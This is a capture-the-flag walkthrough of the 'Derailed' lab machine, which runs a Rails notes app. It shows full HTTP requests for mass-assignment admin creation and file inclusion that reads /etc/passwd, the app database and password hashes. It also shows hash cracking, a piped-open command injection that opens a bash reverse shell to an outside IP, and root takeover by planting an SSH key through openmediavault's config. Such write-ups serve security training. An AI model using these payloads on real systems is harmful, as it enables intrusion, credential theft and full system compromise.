Enumeration
Rustscan
Copy sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.253.213 -- -sV -sC -oA ./rust/{{ip}}
Ports
Copy Open 10.129.253.213:22
Open 10.129.253.213:3000
Services
Copy PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
3000/tcp open http syn-ack ttl 63 nginx 1.18.0
|_http-title: derailed.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Dirsearch
Copy dirsearch -u http://derailed.htb:3000/ -x 404,301
Copy [16:16:57] 200 - 2KB - /404
[16:16:57] 200 - 2KB - /404.html
[16:16:57] 200 - 2KB - /500
[16:17:05] 302 - 96B - /administration -> http://10.129.253.213:3000/login
[16:17:14] 200 - 0B - /favicon.ico
[16:17:19] 406 - 39B - /login.json
[16:17:19] 200 - 2KB - /login.js
[16:17:19] 200 - 5KB - /login/
[16:17:19] 302 - 91B - /logout -> http://10.129.253.213:3000/
[16:17:19] 302 - 91B - /logout/ -> http://10.129.253.213:3000/
[16:17:26] 200 - 2KB - /rails/info/properties
[16:17:26] 200 - 6KB - /register
[16:17:27] 200 - 99B - /robots.txt
Web Enum
General Overview
The app allows us to create notes which are displayed in a kind of markdown format. You can do that either as a guest or an user
Registration: /register
Login: /login
Notes: /clipnotes/ID Administration Panel: /administration
Reporting Notes: /report/ID
The admin panel isn't available for guests or user, tells us Only available for admins
and redirects us to the login page
Routes
Routes can be found on http://derailed.htb:3000/rails/info/routes
/rails/info/properties
Copy Rails version 6.1.6
Ruby version ruby 2.7.2p137 (2020-10-01 revision 5445e04352) [x86_64-linux]
RubyGems version 3.1.4
Rack version 2.2.3
Middleware
Webpacker::DevServerProxy
ActionDispatch::HostAuthorization
Rack::Sendfile
ActionDispatch::Static
ActionDispatch::Executor
ActiveSupport::Cache::Strategy::LocalCache::Middleware
Rack::Runtime
Rack::MethodOverride
ActionDispatch::RequestId
ActionDispatch::RemoteIp
Sprockets::Rails::QuietAssets
Rails::Rack::Logger
ActionDispatch::ShowExceptions
ActionDispatch::ActionableExceptions
ActionDispatch::Reloader
ActionDispatch::Callbacks
ActiveRecord::Migration::CheckPending
ActionDispatch::Cookies
ActionDispatch::Session::CookieStore
ActionDispatch::Flash
ActionDispatch::ContentSecurityPolicy::Middleware
ActionDispatch::PermissionsPolicy::Middleware
Rack::Head
Rack::ConditionalGet
Rack::ETag
Rack::TempfileReaper
Application root /var/www/rails-app
Environment development
Database adapter sqlite3
Database schema version 20220529182601
Exploitation
After testing different routes for a longer period of time I started checking the registration and login process.
When calling http://derailed.htb:3000/administration we can see that only admins
are allowed to view that page. Seems like we're dealing with roles that are assigned to each account.
Register Request
We can see that which parameters are set when we register as a normal user
Copy POST /register HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 194
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=%2FxEQgz4cj8kSRMDGb%2FVHF%2B5nRsrspsZ%2Bm8aqmfbxgCnwbPlV7o75R5ZZPl7F4pf5%2Bodirt10UMa5HsERcjf%2BlmrqGE6MZXb6q7KwUnvGhyywfOA4IkhnboRLhdVF7zlSUJLM37mPT659vNhd2xwGd8H1d5hqtGnafx5LXzJlcJOewRzUq3lL41ooI7g01bHd5iXAFsLtfcSMl8mYV5Xyd6YV0Th%2FIrssHBcs7tHpvmQ1rwuBNA%2Fnh7T18i8HGGi5Zt2TLAEL0BCPlm9BAt9yBR4vJPzN26UsaRZab6k%3D--7DW4tXKgtOhzLb6%2F--EDFC25BjrLmw9sKHi38CzQ%3D%3D
Upgrade-Insecure-Requests: 1
authenticity_token=WampkFYIf5xi_rJxY8XbnNeaxc1kMAUqUaK0wR6CTovyDYW1iH4clfXch_zu_YD091JWMB6XfG4Ryy1OCu3x9A&user[username]=user01&user[password]=user01&user[password_confirmation]=user01
Mass Assignment Vulnerability
After playing around for a while I discovered the right parameter to create an admin account
Copy POST /register HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 223
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=wCV43wRVDha2NMtHT1%2BCgeW%2B0kC3kqnGA%2BMeuNdM%2FnA4NE44C9Bjsm%2BgIIPUpGcQX7TI68mSwNGqyrkVkMyru%2Fb0DrUUFgsYNXh6OVUaN%2By%2BkwGiUB95cZZ6rXQGmGb4Xx9MB%2FCB5itzoNB8Yd%2BHNjU%2FLZvpCfNntZwOyU9XTsR9rqXr9FOZy5fqIcNnhurTX7PaLyCHTifyAPCuIzhWbJ9rhtiETv0M2mp%2BIRU7xYGRswqau4jomsnytxL30MyVn9EjnW9oQNKp%2FWicLTS0f1VOK29twih27c4iIec%3D--5DHMtqqxi91urSsu--LLafZP2XM7gzwFFCMZtFOA%3D%3D
Upgrade-Insecure-Requests: 1
authenticity_token=hZTIv7a_WQ0glqeMKIsOk1GFPeMJok89YDlTW8chg54ZLJZoP66r6vf4YfYHq8DEbN7onTfPwvcSQ5dkh6LKag&user[username]=admin&user[password]=admin&user[password_confirmation]=admin&user[role]=administrator
LFI
While I checked out the admin panel I discovered that I as an administrator am able to download reports.
That's a candidate for a nice local file inclusion
Original Request
Copy POST /administration/reports HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/administration
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=TiLYZIXXX8CU2LriSxudexcexpRaPkIrY7WCZgjx7FQ1158UOiivkNDNH8spedEAJHAAneVmDR7TG52E5IBVaNjtjSDftzrY%2F%2FHRKJ0fFn8oX56UjfTE3Dhtt97yrIBC%2BZbctzUmwOAUoTpmM%2FqgM4glh%2BZcH4wEKAC1PRnz0Gyc%2BvBcIFqAWA5CNVvi5hMuOj0cO077oxOan9fFnpKyS%2BIv4zqbVl6hvsTE0QFEoeeWxJrnPcnaVKEx5YO3TBiuABMMKfW8OEOPIV9WqaS8jGBBoWjKHwkUJRycichC8Y%2BCqym2X9Mk84eEef7i--lPj1DYuDKnw7odz3--e9mW0ktnlbIQvXiCHC72uA%3D%3D
Upgrade-Insecure-Requests: 1
authenticity_token=d8k7ShkPXhKVnovD4eLRvWNJFYV7JyRzLYl4R9VIftHrcWWdkB6s9ULwTbnOwh_qXhLA-0VKqblf87x4lcs3JQ&report_log=report_21_11_2022.log&button=
Get /etc/passwd
This will show us all the users that are currently on the machine and give us an overview
Copy POST /administration/reports HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/administration
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=TiLYZIXXX8CU2LriSxudexcexpRaPkIrY7WCZgjx7FQ1158UOiivkNDNH8spedEAJHAAneVmDR7TG52E5IBVaNjtjSDftzrY%2F%2FHRKJ0fFn8oX56UjfTE3Dhtt97yrIBC%2BZbctzUmwOAUoTpmM%2FqgM4glh%2BZcH4wEKAC1PRnz0Gyc%2BvBcIFqAWA5CNVvi5hMuOj0cO077oxOan9fFnpKyS%2BIv4zqbVl6hvsTE0QFEoeeWxJrnPcnaVKEx5YO3TBiuABMMKfW8OEOPIV9WqaS8jGBBoWjKHwkUJRycichC8Y%2BCqym2X9Mk84eEef7i--lPj1DYuDKnw7odz3--e9mW0ktnlbIQvXiCHC72uA%3D%3D
Upgrade-Insecure-Requests: 1
authenticity_token=d8k7ShkPXhKVnovD4eLRvWNJFYV7JyRzLYl4R9VIftHrcWWdkB6s9ULwTbnOwh_qXhLA-0VKqblf87x4lcs3JQ&report_log=/etc/passwd&button=
User with a home directory
Copy openmediavault-webgui:x:999:996:Toby Wright,,,:/home/openmediavault-webgui:/bin/bash
admin:x:998:100:WebGUI administrator:/home/admin:/usr/sbin/nologin
openmediavault-notify:x:997:995::/home/openmediavault-notify:/usr/sbin/nologin
rails:x:1000:100::/home/rails:/bin/b
SQLITE DB
Let's get some password hashes from the sqlite db associated to our app.
We found the root dir by checking http://derailed.htb:3000/rails/info/properties
Copy POST /administration/reports HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/administration
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=TiLYZIXXX8CU2LriSxudexcexpRaPkIrY7WCZgjx7FQ1158UOiivkNDNH8spedEAJHAAneVmDR7TG52E5IBVaNjtjSDftzrY%2F%2FHRKJ0fFn8oX56UjfTE3Dhtt97yrIBC%2BZbctzUmwOAUoTpmM%2FqgM4glh%2BZcH4wEKAC1PRnz0Gyc%2BvBcIFqAWA5CNVvi5hMuOj0cO077oxOan9fFnpKyS%2BIv4zqbVl6hvsTE0QFEoeeWxJrnPcnaVKEx5YO3TBiuABMMKfW8OEOPIV9WqaS8jGBBoWjKHwkUJRycichC8Y%2BCqym2X9Mk84eEef7i--lPj1DYuDKnw7odz3--e9mW0ktnlbIQvXiCHC72uA%3D%3D
Upgrade-Insecure-Requests: 1
authenticity_token=d8k7ShkPXhKVnovD4eLRvWNJFYV7JyRzLYl4R9VIftHrcWWdkB6s9ULwTbnOwh_qXhLA-0VKqblf87x4lcs3JQ&report_log=/var/www/rails-app/db/development.sqlite3
Copy # Save the hash in a new file
toby:$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv9UKN5RML3sDLuIqNqqimqnZYyle
Copy # PW = greenday
hashcat -m 3200 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt
User Flag
Copy POST /administration/reports HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/administration
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=TiLYZIXXX8CU2LriSxudexcexpRaPkIrY7WCZgjx7FQ1158UOiivkNDNH8spedEAJHAAneVmDR7TG52E5IBVaNjtjSDftzrY%2F%2FHRKJ0fFn8oX56UjfTE3Dhtt97yrIBC%2BZbctzUmwOAUoTpmM%2FqgM4glh%2BZcH4wEKAC1PRnz0Gyc%2BvBcIFqAWA5CNVvi5hMuOj0cO077oxOan9fFnpKyS%2BIv4zqbVl6hvsTE0QFEoeeWxJrnPcnaVKEx5YO3TBiuABMMKfW8OEOPIV9WqaS8jGBBoWjKHwkUJRycichC8Y%2BCqym2X9Mk84eEef7i--lPj1DYuDKnw7odz3--e9mW0ktnlbIQvXiCHC72uA%3D%3D
Upgrade-Insecure-Requests: 1
authenticity_token=d8k7ShkPXhKVnovD4eLRvWNJFYV7JyRzLYl4R9VIftHrcWWdkB6s9ULwTbnOwh_qXhLA-0VKqblf87x4lcs3JQ&report_log=/home/rails/user.txt
RCE - Kernel-level Open Function
While poking around we discover the admin_controller
that will show us what vulnerability we can abuse to archive remote code execution.
Ruby Vulnerabilities & Exploits
/var/www/rails-app/app/controllers/admin_controller.rb
Copy class AdminController < ApplicationController
def index
if !is_admin?
flash[:error] = "You must be an admin to access this section"
redirect_to :login
end
@report_file = helpers.get_report_file()
@files = Dir.glob("report*log")
p @files
end
def create
if !is_admin?
flash[:error] = "You must be an admin to access this section"
redirect_to :login
end
report_log = params[:report_log]
begin
file = open(report_log)
@content = ""
while line = file.gets
@content += line
end
send_data @content, :filename => File.basename(report_log)
rescue
redirect_to request.referrer, flash: { error: "The report was not found." }
end
end
end
Shell
We get our foothold by abusing the Kernel-level Open Function
Copy POST /administration/reports HTTP/1.1
Host: derailed.htb:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://derailed.htb:3000/administration
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
Origin: http://derailed.htb:3000
DNT: 1
Connection: close
Cookie: _simple_rails_session=htXtRmBmBp4Vd8bqt51W5qrqjLy8fP1MGGfhBXNnt0wNGYuEZbD4RjpOgHXbn2SFKQ1LuwDExnFxzhX36wiEC5W43wBRLFYR2zImtAaRMxH7CRcofk91ZOtUSXPzt10kG33c6D529pZt%2BPOj%2Fs7741SikfeM4GLK%2FeM6wEOCShSfd08xBgHrt3dW1kccUInW1S87QhIFGpmOTxSOQSpzjVODTwpJI0G3D%2B%2BVKot7xo4d%2FZbZpDGFfFlkt9qDeN63tC%2BSNOh6UaB0cH6unfDuRETUkcOyNQuHA7sVoeR4VEhVoEgojM9aS8JRx2Sq--XRvklENQh2bhVtne--d%2F%2F1Hil3FqfPliTPAUgpBQ%3D%3D
Upgrade-Insecure-Requests: 1
authenticity_token=rDJYaCPl2HYD84bjdp8F7RZBX3qLnGGRjer8M-jgC2pfSN3VXaHRnZfENBfDw1glbiUJSTt3fq1jI6yVarqISw&report_log=|bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.135/4000+0>%261'
Privilege Escalation
Local Enumeration
While poking around we already detected that openmediavault
is installed
Copy Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:53393 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:38547 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN -
tcp 0 0 10.129.254.29:5357 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3003 0.0.0.0:* LISTEN 803/puma 5.6.4 (tcp
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -
tcp6 0 0 :::111 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::139 :::* LISTEN -
tcp6 0 0 :::445 :::* LISTEN -
User: openmediavault-webgui
We can switch to the openmediavault-webgui
due to password reuse.
Checking /etc/passwd
you can see that this account is associated to Toby Wright
and the password we were able to crack was called toby
Creds
openmediavault-webgui:greenday
Pivoting Setup
To reach the app you have to have either port forwarding or use a tunnel.
Chisel did the job for me, it's my go to tool :)
Copy # Attacker Machine
./chisel server -p 8001 --reverse
# Target Machine
./chisel client 10.10.14.135:8001 R:1080:socks
Reset Webpanel Password
Since the default credentials doesn't work we have to reset the password
Copy /usr/sbin/omv-firstaid
SSH Key Deployment
After some time of digging aroung the app and learning how it functions we notice that we are able to deploy ssh keys with it using it's config files as the webpanel doesn't allow us to do anything related to user management.
/etc/openmediavault/config.xml
Copy <user>
<uuid>xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</uuid>
<name>test</name>
<email></email>
<disallowusermod>0</disallowusermod>
<sshpubkeys></sshpubkeys>
</user>
We just have to change the block for the user test
to user root
add our ssh key and visit the Web GUI to apply our changes
Copy # Generate SSH Keys
ssh-keygen -t rsa
# Convert to RFC4716 Format
ssh-keygen -e -f id_rsa.pub
Copy <user>
<uuid>xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</uuid>
<name>root</name>
<email></email>
<disallowusermod>0</disallowusermod>
<sshpubkeys>
<sshpubkey>---- BEGIN SSH2 PUBLIC KEY ----
Comment: "3072-bit RSA, converted by mrk@parrot from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAABgQDBIB5L7CoUUtERwWgHCEqXgxJxkKQfTlQYKWhVsO
H0r5YMGjjNNuUf7pDVUnp3tEPJ/nXjOJtCk/X5v4s0/CMFwbCqggWZ0KLcdVXcDOgWce9U
+Acjt9XELRzMfJyHB3q1jgOQm9M5dIAif0+fhIupCTjoFVB4z/MrlDkGOBiFbcMG3ccT8w
slhafd+x+ldflKei18SwatzgtRtw2yKAeiuubqKcB1RyLwZQPO+RgDpsV2LNCG2w7FjiKQ
6Og/fvyCktnQk844Ex6/xsQM3wYejImeTuvhY85/T/SUrE7ay9xhwn2Ev/q1oJV4KlwLTo
3Ggbbva6SWvZ061vZfSQML4AhG27zTaJ8G7bkck0ejMX7q+ibmoiF5Qj7GIepK6fhmQqu2
hwzLH8i58K8wCN6Y4rjkBqk0p5psho0DbOIZPxVDq1e8Ht37X5HnxyAaIhdB6xLh5VhRIr
pUeUdYAY45yrP7WQhHWZXfEWyslUhi8WpwgHrlqasUWwuIyyZ38O0=
---- END SSH2 PUBLIC KEY ----</sshpubkey>
</sshpubkeys>
</user>
Rooted
Copy # Just use ssh with our priv key
ssh -i ./id_rsa root@derailed.htb
# Flag
cat /root/root.txt